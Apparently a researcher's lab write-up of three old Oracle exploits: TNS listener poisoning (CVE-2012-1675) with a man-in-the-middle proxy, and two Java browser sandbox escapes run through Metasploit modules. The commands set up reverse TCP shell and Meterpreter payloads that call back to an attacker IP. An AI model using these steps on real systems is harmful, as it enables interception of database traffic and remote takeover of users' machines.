CVE-2012-1675
Oracle Security Alert for CVE-2012-1675

Affected version(s) :

All versions of Oracle Database

Tested with :

Oracle Database 10g Enterprise Edition Release 10.2.0.4.0

Description :

Usage of Joxean Koret PoC require that the database name has a length of 6 characters.

Database server characteristics :

IP : 192.168.178.150
Oracle version : 10.2.0.4.0
Database listener port : 1521
Database listener has no clients IPs restrictions
Database name : arcsig
Database username : arcsig
Database password : testtest

Database client characteristics :

IP : 192.168.178.151
SQL*Plus version : 10.2.0.4.0

“tnsnames.ora” file as bellow :

TARGET.DB=
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.178.150)(PORT = 1521))
(CONNECT_DATA =
(SERVICE_NAME= arcsig)
)
)

Attacker characteristics :

IP : 192.168.178.100
Usage of PoC provided by Joxean Koret

Demonstration :

PoC validation phase

On database server :

ifconfig
ps faux
netstat -tan

On database client :

ifconfig
sqlplus -v
cat tnsnames.ora
sqlplus [email protected]
HELP
QUIT

PoC exploitation phase

On attacker :

Start the MITM proxy, how will intercept the communication between the client and the database :

sudo python proxy.py -l 192.168.178.100 -p 1521 -r 192.168.178.150 -P 1521

Start the vulnerability exploitation :

python tnspoisonv1.py 192.168.178.100 1521 arcsig 192.168.178.150 1521

On the database client :

Connect with SQL*Plus
sqlplus [email protected]
?
? INDEX
TOTO
QUIT

You can see that the communication are intercepted by the proxy.

Oracle Java SE Critical Patch Update Advisory – February 2012

Affected version(s) :

Oracle Java SE 7 Update 2 and before
Oracle Java SE 6 Update 30 and before
Oracle Java SE 5.0 Update 33 and before

Tested on Windows XP Pro SP3 with :

Oracle Java SE 6 Update 16
Internet Explorer 8

Description :

This module exploits a vulnerability due to the fact that AtomicReferenceArray uses the Unsafe class to store a reference in an array directly, which may violate type safety if not used properly. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.

Commands :

use exploit/multi/browser/java_atomicreferencearray
SET SRVHOST 192.168.178.100
SET PAYLOAD generic/shell_reverse_tcp 
set LHOST 192.168.178.100

Oracle Java SE Critical Patch Update Advisory – February 2012

Affected version(s) :

Oracle Java Development Kit (JDK) 6 Update 30 and prior
Oracle Java Development Kit (JDK) 7 Update 2 and prior
Oracle JavaFX 2.0.2 and prior
Oracle Java Runtime Environment (JRE) 6 Update 30 and prior
Oracle Java Runtime Environment (JRE) 7 Update 2 and prior

Tested on Windows XP Pro SP3 with :

Java 6 Update 30
Internet Explorer 8

Description :

This module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. The arguments passed to Java Web Start are not properly validated, allowing injection of arbitrary arguments to the JVM. By utilizing the lesser known -J option, an attacker can take advantage of the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method allows an attacker to execute arbitrary code in the context of an unsuspecting browser user. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.

Commands :

use exploit/windows/browser/java_ws_vmargs
set SRVHOST 192.168.178.100
SET PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
